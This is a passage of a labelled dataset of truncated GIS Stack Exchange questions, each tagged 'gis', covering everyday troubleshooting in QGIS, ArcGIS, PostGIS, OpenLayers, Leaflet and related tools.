GIMP, is this correct? If so then bands play the role of color mixing and masking. Are there any other ... ",['gis'] "Title: Why does my QGIS want to create so many icons? [duplicate] Body: Not sure on protocol here--I asked this previously, but the responses petered out-- Every time I open a Print Composer, a box comes up, and text flashes by saying, ""Creating icon for file [various ... ",['gis'] "Title: What defines a Class in the Heat map plugin? Body: What defines a Class in the Heat map plugin? As in: ""Black holes like that are usually caused by raster values exceeding the range of the color ramp. Try adding another class with a higher associated ... ",['gis'] "Title: Add sequence numbering based on attributes in a table [duplicate] Body: Is there a way to auto populate a sequence of numbers based on another attribute in a table? For example, if field ""Name"" has a sequence of numbers from 1 to 10, and I want to number all the rows in ... ",['gis'] "Title: openlayers web application derive the county in the US that contained the click point Body: I have a requirement for users to be able to select a point within a state within the US on a map (which would be an openlayers web application) and once they clicked on the map it would derive the ... ",['gis'] "Title: OpenGeo Suite PostGIS Data Location Body: I have OpenGeo Suite installed on a server. I want to have the PostGIS data stored on a different drive (D) on the server instead of on the C drive under my username. How do I do this? ",['gis'] "Title: How to make a certain attribute Toggelable? [duplicate] Body: I have imported data from an excel spreadsheet containing lat,long coordinates associated with other attributes such as current operator of each point (well). I imported as a tab delimited file, then ... ",['gis'] "Title: How to convert jpg file to shapefile? Body: I am developing a GIS application like this: By now my steps are: I have got a jpg file, 5040 x 8179 dimension. In this map, the roads, rivers, towns etc. are marked. I am using .Net to develop ... ",['gis'] "Title: Display XY Format to Shapefile (Scale) Body: Using ArcView 10.1 and using excel for Lat/Long conversion to a shapefile. The original Lat/Long has 7 numerical characters past the decimal point xx.1143717. When I convert this excel into a ... ",['gis'] "Title: SLD Pointsymbolizer with color ramp based on first random attributes Body: The company I work at does drillings all over the country. These drillings are then presented as a service. So obviously this layer needs an SLD. For the moment every drilling is a green point, but we ... ",['gis'] "Title: Find closest point from origin in QGIS and display measure line in composer Body: I have a location point. there are several constraints areas surrounding the point. Is there a way to calculate the closest point of this constraint from my point and to display the distances as a ... ",['gis'] "Title: Geojson multipolygon doesn't work with Leaflet bindPopup? Body: I have polygon and multipolygon data in Geojson format and when I try to bind popup for polygon, it works perfectly, and when I try to bind it for multipolygon, it doesn't work. Is that some Leaflet ... ",['gis'] "Title: Can't find MapFrame of GraphicsContainer in PageLayoutControl (C#) ? Body: I am getting a problem: I added element (text, line) in a ActiveView.FocusMap of a PageLayoutControl, then all elements are showed in the MapFrame of PageLayoutControl.GraphicsContainer. If I don't ... ",['gis'] "Title: Automatically build branches of a river network? Body: A small non-profit, specializing in fish habitat restoration, has asked me to link a spreadsheet of field notes to their gis. What we have is: 1) A spreadsheet of field notes for small fish streams. ... ",['gis'] "Title: How to intersect 2 polygon layers with a given tolerance for features in different layers only? Body: I can intersect 2 layers with polygons using ArcMap. However I can specify only overall tolerance no matter what layer a feature is in (even same layer). So I either end up with lots of slivers if I ... ",['gis'] "Title: Heat Map trouble: Is this a data formating problem? Body: I'm playing with the heat map plugin with QGIS. I've run through QGIS tutorial: http://docs.qgis.org/html/en/docs/user_manual/plugins/plugins_heatmap.html, using the airports data set as explained ... ",['gis'] "Title: GeoTiff.lib: TiePoints only without ModelPixelScale do not get georeferenced in QGis Body: I have an image that has been georeferenced (geotiff.lib) by more than 3 tie points (x y 0 long lat 0 ...) and added following geotiff keys GTIFKeySet(gtif, GTModelTypeGeoKey, TYPE_SHORT, 1, ... ",['gis'] "Title: hibernate spatial DDL creation with maven hibernate3 plugin Body: This is a very special question, I hope that somebody here already worked in a similar project setup. I am working with Netbeans and started a maven web project based upon the maven HS 4.x tutorial ... ",['gis'] "Title: Is there an alternative for JTS TestBuilder on Linux? Body: JTS Testbuilder, an application for testing JTS functions, is available on Windows and I use it quite regularly. Are there anything like this on Linux? Does GEOS have anything similar to this on ... ",['gis'] "Title: One of my ID numbers for my polygon is not being shown when I label my layer. How do i fix it? Body: I have 20 polygons and when I tried to label the layer with the ID numbers only 19 appeared. For some reason my first polygons ID number is not being shown and I dont know why. Am I missing something ... ",['gis'] "Title: How to convert AutoCAD file to Shapefile for map from ArcGIS API 3.2 for JavaScript? Body: I have an AutoCAD file that I want to convert to Shapfile to appear in a map by API for JavaScript in .net. What do I do? ",['gis'] "Title: How to upgrade from QGIS 1.4 to 1.8 on Linux Mint 12? Body: I've been trying to upgrade from the Enceladus 1.4 version of QGIS to 1.8 on a Thinkpad T42 running on Mint 12. When I try to upgrade from within QGIS help menu I receive the following error message: ... ",['gis'] "Title: IGPFunction2.Execute() never triggers when using IEnumLayer.Next() when run in background Body: I got a strange issue in GP tool I don't really understand: In my IGPFunction2.UpdateMessages() method, I use the following code to traverse all layers: IEnumLayer enumLayer = ... ",['gis'] "Title: Converting Arcobjects in VB.Net to C# Body: I am attempting to learn ArcObjects using a tutorial that uses VB.NET and I am trying to convert it to C#. I have Visual C# 2008 Express Edition. This is an ArcMap Add-In project that creates a ... ",['gis'] "Title: When digitizing, objects are not saved well Body: I've some problems with digitizing. If I draw a line or a polygon, the line or polygon is saved in the attribute list, but not visible and its location is not saved either (when I zoom to the object ... ",['gis'] "Title: Code for SelectionChange Event on Comboboxes in VB.Net [closed] Body: I am programming 3 combo boxes so that each one feeds off the information from the previous combobox. For example, in the first box they would select a year, then the second combobox would provide ... ",['gis'] "Title: How to put data in remote geoserver? Body: I created some layers and upload it to PostGIS and then GeoServer and then styled it using GeoExplorer. I have done all this in localhost. I used the iframe generated in GeoExplorer and used it in my ... ",['gis'] "Title: Qgis - Raster clip Problem Body: I tried to use the Raster (Extration) tool ""clipper"" and I always get this error log: What is my problem? Fehler bei der Ausführung von Python-Code: Traceback (most recent call last): File ... ",['gis'] "Title: converted SHP to geoJSON - how to put this on OSM map? Body: I'm a beginner at this. I converted a shapefile to a .js file but I am having trouble adding this data to a map using leaflet. The osmscarb.js: var osmscarb = { ""type"": ""FeatureCollection"", ... ",['gis'] "Title: ArcGIS ArcPy: Iterate over shapefiles and report field “Desc” Length Body: I've just started learning to script using python, i.e. no programming experience. I need to iterate over a folder that contains multiple shapefiles that all start with nlc... I need to iterate over ... ",['gis'] "Title: How to count and rasterize polygon overlaps in ArcGIS? Body: How do you take a vector layer with overlapping polygons and turn it into a raster where each cell counts the number of polygons containing that cell? We are looking at polygons of fire burn areas ... ",['gis'] "Title: ArcGIS Network Analyst Directions (NA Campus style) failing to return turn instructions Body: This might be a long shot, but I've had no luck receiving response on the ESRI forums so I thought I would try here as well. I have been working with the information discussed in this thread: ... ",['gis'] "Title: How to Create Drop Down List Variable with ModelBuilder? Body: I am building a model and am trying to create a variable (that will be turned into a parameter and then added as a field) that is a drop down list where only specific values can be chosen. Any help ... ",['gis'] "Title: How would I convert a microsoft sql server 2008 raster database into geotiff format? Body: I was given a .bak file of raster data that I need to import into a new ms sql server 2008 database. How would I convert a microsoft sql server 2008 raster database into geotiff format? ",['gis'] "Title: How can I snap 2 lines in QGIS so the st_distance between them is 0? Body: Sometimes when I snap the ends of 2 LineStrings together and I check the st_distance between those endpoints I get a value in the order of 1.1E-10 while at the same time when I check for equality of ... ",['gis'] "Title: Are multiple separate feature classes more efficient than repeatedly deleting all features from the same feature class? Body: Quick Version: Is it more efficient, in terms of database performance, to have multiple separate temporary feature classes or one feature class that you repeatedly empty out and fill? I am working ... ",['gis'] "Title: QGIS Python version Body: I have brewed python 2.7.3 onto my Mac (Lion), and installed shapely via pip install shapely. The Polygonizer plugin, however, does not find the shapely library. I see when QGIS loads a Python ... ",['gis'] "Title: ArcGIS API for Silverlight - create MapTips programmatically for programmatically-created KML layer Body: The few examples and forum posts that I have found all use KML layers defined in XAML at design-time with nested MapTip templates binding to one or more Placemark attributes e.g. name or ExtendedData ... ",['gis'] "Title: filter / generalize elevation points on the basis of some conditions Body: I wanted to generalize many elevation points in a rectangular area (about 700 square km). I need to take about 3 points for square km. These points must satisfy some conditions: One of these ... ",['gis'] "Title: Does QGIS support vector Rubbersheeting? [duplicate] Body: The task is to rubbersheet two vector layers one with a projection like UTM WGS 84 Zone 45N ",['gis'] "Title: ArcGIS API Javascript - FeatureLayer from json: problem with queries and popup Body: Hello everybody I've tried this code proposed by Derek Swingley in JSFIDDLE: JSFIDDLE-FeatureLayer from JSON Everything ""seems"" to work fine, but not always. If you go down to the closer scale (level ... ",['gis'] "Title: NASA World Wind Pick From A Group Of Icons Body: I am using an IconLayer in NASA World Wind (Java SDK) to show positioned items on a map which works fine except for when several are in a group and start to overlay one another. The display of the ... ",['gis'] "Title: ArcObjects 10.1 .NET Convert Point from WGS1984 to OSGB1936 Body: Please can someone help me convert a point in WGS1984 to OSGB1936, I have followed all the documentation (or so i think...) and yet have not made any headway into this problem. This is my code : Type ... ",['gis'] "Title: Geotools, output to kml and convert meters Body: I have a complex problem. I'm using geotools 10.* I have input data: latitude, longitude (WGS_84), radius in meters, start angle (12 o'clock), end angle (clockwise, i.e. turn to the right). I need ... ",['gis'] "Title: how to replace GTileLayer in google maps API v3 Body: I need to port code of one application written in Google Mapa API v.2 to API v.3. There is several layers taken via TMS, that are displayed using GTileLayer class. It is as simple as: var ... ",['gis'] "Title: How can I split a segment into two segments? Body: The problem is how to split segments or in other words how to insert new points into a polygon so that the segment where I created the new point is now two segments connected by said point. Every time ... ",['gis'] "Title: ArcGIS JS API: Convert ESRI Date Type into String Body: I am following this ESRI tutorial to display information from a related table for the selected features. The example in itself for my project works fine, however, my data include two Date fields and ... ",['gis'] "Title: Why does “save” overwrite the “capture point” function? [duplicate] Body: I am very new at using QGIS. I have the standard installation (no additional plug-ins). I have several polygons and each polygon is formed by a number of segments. What I am trying to do is to connect ... ",['gis'] "Title: Is there a workaround for GRASS i.maxlik 'class' being a keyword in Python? Body: I am running i.maxlik in python - attempting to automate a processing chain. I use the command: grass.run_command('i.maxlik', group= group, subgroup=subgroup, class='classification', sigfile = ... ",['gis'] "Title: How to automatically create a map for each column of attribute table? Body: I have an atribute table with yearly data for 10 regions, is there a way how to automaticaly create a set of maps (one for each year) with fixed scale? I tried to search the web but perhaps I didnt ... ",['gis'] "Title: Most optimal algorithm for contour correctness? Body: Am creating an app which correctly calculates contours from a DEM file or any height-map given to it. The correctness of the contour holding the most importance, since a person viewing the contours ... ",['gis'] "Title: generate height data from DTED maps Body: I have 16 DTED maps of (1 degree x 1 degree). I have to generate combined height matrix of maximum 4 (1 degree x 1 degree) DTED maps in my C++ application. Can someone suggest to me which open source ... ",['gis'] "Title: Need Oracle spatial tutorials Body: I am working on Oracle spatial 11g and I am referring to Oracle docs as a learning resource. Does anyone know any more Oracle Spatial tutorials ? We want to integrate Oracle Spatial data with ... ",['gis'] "Title: Getting 2147483647 and -2147483647 as min and max output for point to raster, polygon to raster, and feature to raster tools Body: No matter which feature to raster tool I use (feature to raster, point to raster, or polygon to raster), I am getting a raster output whose min and max values are 2147483647 and -2147483647, ... ",['gis'] "Title: How do I map data by zip code? Body: I have a set of data that corresponds to zip code, and I'd like to turn that into a map. From what I've gathered thus far, zip code shapefiles are difficult to find and work with due to the fact that ... ",['gis'] "Title: Are there any Python scripts for creating .mxd files? Body: I am a newbie to both ArcGIS and Python. My requirement is to automate the below MANUAL process: Creating a layer in ArcGIS for Desktop. To put it in another words, creating an ArcMap document ... ",['gis'] "Title: Simplest Way to Create a Custom Choropleth Map for a Website? Body: I am working on a choropleth map for a real estate site. My current workflow is: Edit and save SHP file's DBF in Libre Office Calc. Load SHP file into Quantum GIS. Set colored breakpoints based on ... ",['gis'] "Title: ArcGIS Server 10.1 and SQL Server 2012 SP1 Body: We have just built and new ArcGIS/ArcSDE system with SQL Server 2012 SP1. We are experiencing very long periods (up to 2 minutes) just to connect to the database in Desktop. Desktop does connect and ... ",['gis'] "Title: How can I determine the layer name in an edit session? Body: I have a problem with an editor extension in an Add-In for ArcGIS 10. The editor extension listens on different events occuring on shapefile layers via registering listeners: ... ",['gis'] "Title: Export KML to SHP in Javascript Body: I need my Javascript browser application to convert/export KML documents into ESRI shapefiles. Is there any JS library that can do it? I tried googling, but no answers so far (at least, not in ... ",['gis'] "Title: Interpolate shape (3d analyst) problem Body: I am making a code on C# to interpolate z values of a line on a DEM. Below is the code that I've written. I have also tried step by step debugging, the program works fine till the Geoprocessor ... ",['gis'] "Title: problem with the installation of web ADF runtime arcgis server 10 Body: I'm trying to install ArcGis server 10 (windows 7 32-bit)and I found problem in the installation of ArcGIS Server for the Microsoft .net Framework - Web ADF Runtime. The error is: ArcGis Server ... ",['gis'] "Title: Getting tiles from own Tilestache server to Openlayers application Body: The title sums up my current problem - I have installed and set Tilestache in our webserver and the tiles are accessible in browser My developer is working on an application to overlay some custom ... ",['gis'] "Title: Error: Layer not found: -1 Body: We are using ESRI SL 2.4 API- and our application has one dynamic service and one feature layer. Only few of the users getting below error, not sure whether this is issue with Microsoft sliverlight ... ",['gis'] "Title: GIS software with Bayesian Network capabilities Body: I am looking for any GIS software that has Bayesian Network capabilities. Ideally I'd be able to define grid layers as discrete or continuous inputs in to the network and then be able to produce ... ",['gis'] "Title: Dynamically load and display shapefiles from PostGIS 2.0 into Mapguide using .NET Body: I have a C# mechanism for Loading shapefiles into PostreSQL/PostGIS now I would like to dynamically load it on Mapguide fusion template.In either C# or VB.NET code behind. Use case is: 1.use uploads ... ",['gis'] "Title: Tearing in ggmap (R) after using spTransform and random point generation using splancs Body: I am using R and the package ggmap to try and generate some random points within the city limits of Chapel Hill, NC. I have downloaded the shapefile for the town of Chapel Hill from the Orange County ... ",['gis'] "Title: Raster dataset doesn't exist error Body: Dataset exist and I am able to get statistics from ArcGIS python window. But it failed as a script with error: ERROR 000865: Input raster: C:\temp\ras does not exist. I have tried following ... ",['gis'] "Title: Error which are logged in console window Body: I have Polygon feature layer consisting of 2 lacks of feature but i am displaying few features depending on filter which we apply dynamically.if server returning 1 thousand records also then also it ... ",['gis'] "Title: MapInfo - thematic legend disappears when made translucent Body: I have created a thematic map in MapInfo v11. When I make the legend translucent (so that information underneath the coloured polygons is partly visible) the labels in the legend disappear! This ... ",['gis'] "Title: How to configure and install psycogpg2 - beginner? Body: I need to install psycogpg2 for working with 'django'. I read the instructions but I dont understand whether to run the commands in command prompt or in python command line. I am lot used to the GUI ... ",['gis'] "Title: How to draw lines originating from a point for a given angle and length in attribute table of point layer Body: I have a set of points from which i want to draw lines , the point layer has information about the angle and length of the line to be drawn. This point layer is generated from a polygon layer as a ... ",['gis'] "Title: Why don't some layers line up afer converting Mapinfo TAB to Shapefile? Body: I have 6 MapInfo layers / TAB files which I need to convert to ESRI ShapeFiles, preferably using QGIS. When a colleague opens these in MapInfo 10, they all look fine and line up correctly. When I open ... ",['gis'] "Title: Unit testing with postgis 1.5 and django Body: I'm trying to get some unit tests working in Django/PostGis. When the test database is formed, it doesn't have the postgis and postgis_topology extensions installed. Is there a way to issue commands ... ",['gis'] "Title: How to create contour from NetCDF? Body: I have downloaded Bathymetry data from GEBCO. Its in NetCDF format. I want to create contour from it. I tried so many tools to convert the file into raster but couldn't do so. How can I create raster ... ",['gis'] "Title: Renaming Columns in Geotools FeatureType Body: I am attempting to build a simple java program that loads shapefiles into a Postgis 2.0 database. Everything is working out great except that I would like to be able to modify the FeatureType in the ... ",['gis'] "Title: How to install SciPy in the QGIS Python folder under Windows 7? [closed] Body: I am trying to run a plugin in QGIS that requires SciPy on a Windows 7 computer. Now the Windows installer file for SciPy by default tries to install SciPy in a standalone Python version. The version ... ",['gis'] "Title: New Install Quantum GIS - .ind and .idm files not valid [closed] Body: I downloaded and installed the Windows version of Quantum GIS to view Pinellas County data. I can add the .shp, .shx, and .dbf layers, however do not see any data showing as far as road names, etc. I ... ",['gis'] "Title: How to add images in CartoDB infowindows Body: Can't seem to get the default site to display images. I've added hrefs to a image column. example; I've dragged the image column to the top of the infowindow sidebar app and it still just displays ... ",['gis'] "Title: Spatial Adjustment - ArcMap Body: I want to select an edge of parcel instead of creating multiple displacement links. The problem is when selecting the parcel, and the edge of the parcel contains vertices, the links that will be ... ",['gis'] "Title: Retrieving the data from SQL database is taking much more time than expected Body: I am creating a block wise vector layer and related data stored in a sql database while retrieving the data from the SQL database through querying and would represent the result on a map. This is ... ",['gis'] "Title: exporting DWG from ArcMap need to unify segments to polylines Body: I am a green ArcGIS user so please bear with my poor nomenclature and rudimentary understanding of the software........ I am attempting to export to CAD a contour shapefile I have derived from LIDAR ... ",['gis'] "Title: “SDE error 6” when publishing GeoServer layer Body: I have successfully created an ArcSDE datastore in GeoServer 2.2.4. When I try to publish a feature class in the SDE database, the ""Compute from data"" link returns nothing, and the ""Compute from ... ",['gis'] "Title: What determines “west” in Antarctica? Body: Hopefully this isn't so far afield as to get banned - apologies in advance to those who think it doesn't belong. This article discusses a region of Antarctica which is described as ""West Antarctica"". ... ",['gis'] "Title: edit 10.1 feature service Body: has anyone edited a 10.1 feat. service using desktop 10? I can view the service and add it to the map, but when I go to edit features/create local copy for editing, I get an ""error creating the..."" I ... ",['gis'] "Title: Create a shapefile from geometry Body: Please excuse my lingo, I am still learning some aspects of geo spatial and arcpy. I have a python script that takes a shapefile. The shapefile consists of a polyline. I have traversed the polyline, ... ",['gis'] "Title: How to create a dbf field with length > 254? [duplicate] Body: Is it possible to create a text field in a database table with a length that is greater than 254 characters? Using arcgis 10.1 ",['gis'] "Title: Automatically delete services after a set period of time Body: Is it possible to automatically delete services after a set period of time? Is the username of the publishing user and the date the service was published saved anywhere? We are trying to implement a ... ",['gis'] "Title: GeoExt browser error in Firefox and Chrome with Datagrid Body: I get the following error with geoext in Firefox (and Chrome fails as well). I have updated to ext 3.4.0 and get the same error. It is loading a datagrid using geoext. Works fine in IE (for a ... ",['gis'] "Title: Interpolating Maps - Statistical Learning Techniques vs Spatial Statistics Techniques Body: I have recently begun experimenting with the inteprolation of variales over a whole country. I have good sized training set where I have several dependant variables (continuous and categorical) ... ",['gis'] "Title: How do I install ArcGIS 10.1 and use my current Python 2.7.2 install? Body: I just did a clean OS install and installed ActivePython 2.7.2 I want to use this Python install for use with ArcGIS 10.1 I just installed ArcGIS 10.1 and it did a new Python install. What do I ... ",['gis'] "Title: How to decrypt/decompile old toolbox tbx-file in ArcGIS 10 Body: I have inherited an arcgis 10 toolbox tbx file for a web application. Are there any way to open the fil in for example Model Builder to see its interiors? ",['gis'] "Title: Layer visibility using maxscale minscale not working Body: I'm using Openlayer and Geoserver. I have a series of layers that have a scale parameter like: 1:50000-1:25000 where 50000 is the max scale while 25000 is the minscale. I have a map like in this ... ",['gis'] "Title: Projecting shp from GK3 to UTM32 with BeTa2007 Body: I've experimented with projections of shapes, used the official provided grid beta2007 for germany and noticed differences between transforming by double exporting over custom CRS in QGIS and ... ",['gis'] "Title: Intersection of drawn polygon with WMS layer features. Better of two methods? Body: Scenario: Several WMS layers with polygon features. Objective: Draw a polygon with OpenLayers and allow it only if doesn't not cut any features in WMS layer. It can contain the features as a whole ... ",['gis'] "Title: How to Find the Nearest Node from a Given Coordinate Body: I have already developed a table manually. It contains the coordinates and the distance of all the nodes, there is no geom field or any field related to postgis. But I want to find out the nearest ... ",['gis'] "Title: Import only necessary arcpy modules? Body: I'm working on a standalone script where I need to import arcpy. This usually takes close to 10 seconds, which is a little more than ideal. I'm only using a few Data Management tools and some base ... ",['gis'] "Title: How do I get Visual Studio to run EsriRegasm.exe as administrator? Body: When run Visual Studio 10 as administrator and build a project with this in my csproj: <Target Name=""BeforeClean""> <Exec WorkingDirectory=""$(CommonProgramFiles)\ArcGIS\bin"" ... ",['gis'] "Title: Connecting to ArcGIS Desktop PostgreSQL database (running locally) Body: I know this is a total noob question but then again, when it comes to PostgreSQL I am a total noob... I have installed the OpenGeo suite on my computer, running Windows 7, 64-bit. I have ... ",['gis'] "Title: FME - Load shape file to SDE table Body: I have shape file which contain polygon features I open this file as a reader. I need to load their data in to SDE table The problem is ObjectId and shape columns are not listed in user attributes ... ",['gis'] "Title: How to create something similar to GDB in QGIS? Body: I used to work with ArcGIS. There I had geodatabases in which I could store several shapefiles with defined layer styles. Is there a way to do something similar with QGIS? The background is: we are ... ",['gis'] "Title: Looking for a QGIS Architecture Diagram Body: I would like to know the architecture of QGIS: relationships between QGIS and other open sources, and what elements are implemented in the QGIS. Usually, There is a diagram showing the architecture ... ",['gis'] "Title: Recommended Eclipse Plugins for development with OpenLayers and GeoExt? Body: we plan to create an map oriented online application and muse about the 'best' / helpful plugins for Eclipse. The used technology is OpenLayers and GeoExt. For example is the Javascript development ... ",['gis'] "Title: Alternatives to Windows Explorer and ArcCatalog when copying a file gdb Body: I need to copy a file gdb from my local machine to a server using a remote desktop connection. I have been doing this using a simple copy/paste operation in Windows Explorer. I know that it is best ... ",['gis'] "Title: Is it possible to re-point operational layers ArcGIS Mobile projects v.3.0 Body: We have an ArcGIS mobile project with two operational layers for data collection. The layers source from a GIS server on the cloud, running on top of an SDE. The database has a feature dataset, and ... ",['gis'] "Title: GeoServer Transformation Function (Categorize) Problem Body: I'm trying run three filter functions(Recode,Categorize,Interpolate) described at the bottom of this page http://docs.geoserver.org/stable/en/user/filter/function_reference.html Recode and ... ",['gis'] "Title: McDonalds GIS data [duplicate] Body: Where I can find the GIS coordinates of all the McDonald's restaurants? Particularly those in New York City? Further I'd like to Voronoi tessellate the 5 boroughs with respect to these McDonald's ... ",['gis'] "Title: Anyone have recommendations on data collection system for bird point counts? Body: We will be conducting point counts this spring and summer, and would like to move away from paper data entry forms (yeah, I know). I have spent a little time exploring ArcPad (10), there are ... ",['gis'] "Title: How do I prevent Arcmap from verifying SQL expressions when using a plugin dataset? Body: I've written a plugin workspace for ArcGIS. I'm able to compose a where clause containing syntax that my implementation of IPluginDatasetHelper understands, assign it to IQueryFilter.Whereclause, and ... ",['gis'] "Title: Desktop client symbolozing a WMS layer by sending SLD to the WMS server? Body: Objective is simple: finding 'desktop software' (such as ArcGIS, QGIS, etc) that can load a WMS layer, and then send its own SLD to apply to the WMS server in order to get the WMS layer back with the ... ",['gis'] "Title: How does Mbtiles store raw image data in the tile_data field? Body: Looking at the MBtiles spec, the tile_data field of the tiles table is just a blob of a tile image. With this information, I expected to be able to take a data URI, string it of everything except the ... ",['gis'] "Title: Strange things are afoot with the ""Eliminate Polygon Parts' tool Body: I am working with a polygon that is the result of a buffer and has a bunch of internal doughnut holes: What I want is this: I am using arcpy.EliminatePolygonParts_management() to fill in the holes ... ",['gis'] "Title: Zero filling attributes using python Body: Being the AML dinosaur that I am, I am just learning python and I need to convert a 2 digit numeric attribute in a table to a 2 digit zero-filled attribute in a script. Example 9 needs to be 09. Any ... ",['gis'] "Title: Can I create a TIN from contours lines (shp) in QGIS? Body: I need to do a slope analysis, and would like to make a TIN from 2m contours lines. Or do a slope analysis directly from contours? The only DEM available is not precise enough. I do not have any ... ",['gis'] "Title: QGIS - Add a combobox to a toolbar Body: Is there a way to add a combobox to a toolbar for QGIS? So far I can only find examples that add buttons. I found this tutorial which seems to explain how to do this with general PyQT but haven't had ... ",['gis'] "Title: Routing with multiple points Body: I am using postgreSQL, postGIS and pgrouting. Now I am really confused on how am I going to find the shortest path between multiple points. I know how to find it between two points through dijkstra ... ",['gis'] "Title: WPF Runtime Arcgis - How to open MXD? Body: I would like to open MXD with ArcGIS Runtime WPF. There is no example about this. Anybody has a solution ? Thank you ",['gis'] "Title: Toggle editing layers Body: I search one plugin that alows start an editing session aplied to some layers from postgis connection at the same time as we can in ArcGis? ",['gis'] "Title: Is it possible to get the points used for the convex hull in osm2po? Body: I have a non-convex hull algorithm that I want to use for an app. With OSM2PO, it's possible to get a convexHull, but is there a way to get the points before the hull is constructed? More, it would ... ",['gis'] "Title: Why cant I “Add label colums to attribut table” etc. in QGIS 1.9? Body: Why cant I ""Add label colums to attribut table"" and why cant I use Letter spacing, Word spacing and so on? I have a shp-file. qgis version 1.9 ",['gis'] "Title: Select By Location in ArcGIS using C# Body: I am creating a tool which the user will select point or line features from the map and it will display their names in a list then after clicking on any of these features from the list, it will show ... ",['gis'] "Title: Label one to many relationship class Body: Good day all, I’ve created a feature class with a one to many relationships to a table. One point many classes. However I want to label the point with the classes attributes. ESRI wrote VB solution ... ",['gis'] "Title: Projecting point in Leaflet from EPSG 900913 (same as 3857) to EPSG 2232 with proj4js returning unexpected results Body: I have a leaflet map from which I want to be able to query an api that accepts x y values in EPSG 2232 as inputs. Leaflet doesn't handle point transformations like Open Layers does so I am trying to ... ",['gis'] "Title: Missing tiles when django application is hosted on an apache server Body: I'm building a GIS application using Django as my web framework and OpenLayers to implement a slippy map interface. I was initially using the django runserver for development and everything was ... ",['gis'] "Title: How to add WFS layer from geoserver to openlayers Body: Ok, I know that this question has been asked here many times and I apologize for asking it again but I've looked all answers and I still can't fix my code to work. I would really appreciate if someone ... ",['gis'] "Title: Reset python add-in Body: I have a toolbar which enables a second and third combobox when a selection is made on the previous. I would like to add a button to 'reset' the toolbar. Basically reload the toolbar to it's original ... ",['gis'] "Title: How to handle mmqgis geocoding IOError: [Errno socket error] [Errno 101]? Body: I try to geocode a .csv file with QGIS + mmqgis plugin. But, since some days the plugin always crashes. I tried it with QGIS 1.8.0 on an Ubuntu 11.10, OSGeo-Live v6.0 (which is Xubuntu 12.04.2 LTS) ... ",['gis'] "Title: ARCGIS Polygone manipulation : Splitting if area>=5KM or merge if area<=0.5KM Body: I'm just facing a wall. I don't know if even possible to complete the process with modeling. I may need to work with python script which I'm not used to it. In this state, I got a buffer created from ... ",['gis'] "Title: gdal_grid failing to set nodata Body: Using gdal_grid for spatial interpolation I have run across a problem: the nodata argument is ignored. The only solution I have found for this is to then use gdal_translate but it is rather cumbersome ... ",['gis'] "Title: Legend title in print composer with different font styles Body: I want to design a layout with print composer where the legend Title has two different font styles in one e.g. "" I had it once but can´t remember"". I would be grateful for help. ",['gis'] "Title: Is there a way to perform zonal statistics-like operations with feature zone data without doing feature-to-raster transformation? Body: I want to use zonal statistics on Chinese counties (which can be very small) from a fairly coarse (0.5 degree) raster grid. The problem with zonal statistics is that it returns a much smaller number ... ",['gis'] "Title: Need steps to print a Map in ArcGIS Silveright Body: I want to know how to print a map in ArcGIS Silverlight application. Thank You in advance. ",['gis'] "Title: Is it possible to display 3-D maps in ArcGIS Java Script API? Body: We are going to create 3D maps in ArcGIS Desktop with the help of 3d analyst extension and then I want to integrate those maps with ArcGIS Java Script API 3.2/3.3 (after publishing maps on server ... ",['gis'] "Title: ESRI Javascript APT FeatureSet input to custom Geoproecessing tool Body: I have an ESRI Javascript application that uses a geoprocessing service that uses a cutsom GP tool. Since I have a set of values to be passed to the GP service I am planning to pass in it as a record ... ",['gis'] "Title: SqlGeography STArea for CW and CCW polygons Body: I'm using a SqlGeographyBuilder to make a simple polygon (with SRID of WGS84). When I add the vertices CW and call the STArea() method, The area would be very large. When I add the vertices CCW and ... ",['gis'] "Title: How to Convert labels to Annotation Body: I am a beginner in GIS (for graduate school) and am using the GIS Tutorial Basic Workbook 1 for ArcGIS10. In Chapter 1 of this text, there is a ""Convert labels to annotation"" section which I cannot ... ",['gis'] "Title: What kind of unit of measurement for scale does SQL Server 2012 Spatial use? Body: What kind of unit of measurement for scale does SQL Server 2012 Spatial use? ",['gis'] "Title: Why won't osm2po setup table correctly? Body: OK, I have no idea what's going on. I'm using a Mac and successfully installed pgRouting. I used osm2po on some data, which created a sql file. I imported the sql file into a pgRouting database and ... ",['gis'] "Title: Place image without using points in QGIS Body: I am trying to find a GIS software that does this, so I am trying QGIS but other suggestions are welcome. I have a basic shp boundary such as a rectangle. I want to be able to import an unreferenced ... ",['gis'] "Title: Generating a Web based map interface from ArcGIS export file Body: I have an XML export file from an ArcGIS geodatabase with the following fields: OBJECT ID (-) Shape (-) Grid_Area_ha_1 (ha) Shape_Length_1 (m) Shape_Area_1 (m2) Residue_Yield_t_a_Restrict_NEW (t/a) ... ",['gis'] "Title: Find and Replace data source script Body: The following script is supposed to find and replace all shapefiles in a mxd (that exist in the folder) to the new SDE data source. No errors when running the script however, when I open the MXD in ... ",['gis'] "Title: Can I access Trimble logged positions in ArcMap10? Body: We recently walked a fence perimeter with a Trimble Ranger, auto-logging positions at 5 second intervals in a generic point file. The exported file acknowledges over 800 points, but only displays the ... ",['gis'] "Title: Exporting 2 shp layers to geojson using quantum GIS Body: I will explain with an example: I have 2 shp files for Tanzania. Tanzania inland waters http://www.diva-gis.org/data/wat/TZA_wat.zip Tanzania administrative boundaries ... ",['gis'] "Title: How to clip Raster using multiple polygons and Python? [duplicate] Body: Possible Duplicate: clipping a raster by multiple datasets or polygons I have polygon layer and DEM and I want to write a program using python to cut the raster into multi-raster based on ... ",['gis'] "Title: Open source software for car navigation on iOS platform Body: I'm trying to make a car offline navigation app for iOS. Now I analyze OpenStreetMap features what to use. I would like to know if there is open source solution for the following parts of app: best ... ",['gis'] "Title: Does QGIS georeferencing set to magnetic or grid north for British National Grid? Body: I have just been georeferencing a map on QGIS using British National Grid and it is not lining up with the vector maps I downloaded from OS. I used the 'From map canvas' option and used 'Linear' ... ",['gis'] "Title: Create Polygon Overlay Handling Holes Body: How can I create a polygon overlay that correctly handles holes? This answer provides a method of creating a polygon overlay that does not handle holes. Can it be modified to correctly handle holes? ... ",['gis'] "Title: Anyone have a sample MS SQL query for Census Block to State Legislative District matching? Body: I'm new to spatial queries. Does anyone have a sample MSSQL 2008 query that would match a Street/City/Zip with the CA State Senate and Assembly Districts? All I need to do is return the Legislator's ... ",['gis'] "Title: TOC hidden in single screen mode Body: I routinely use a two-monitor setup with my portable Precision workstation. When I'm in laptop only mode, my Table of Contents may appear briefly as a shadow on the extreme margin of the screen, then ... ",['gis'] "Title: How do I read a File Geodatabase using R? Body: File geodatabase (fgdb) includes numerous file geodatabase tables. As far as I know they exist as dbf files, but are within a Database.gdb. In ArcCatalog, the file pathway resembles ... ",['gis'] "Title: How to extract raster values and create new raster in 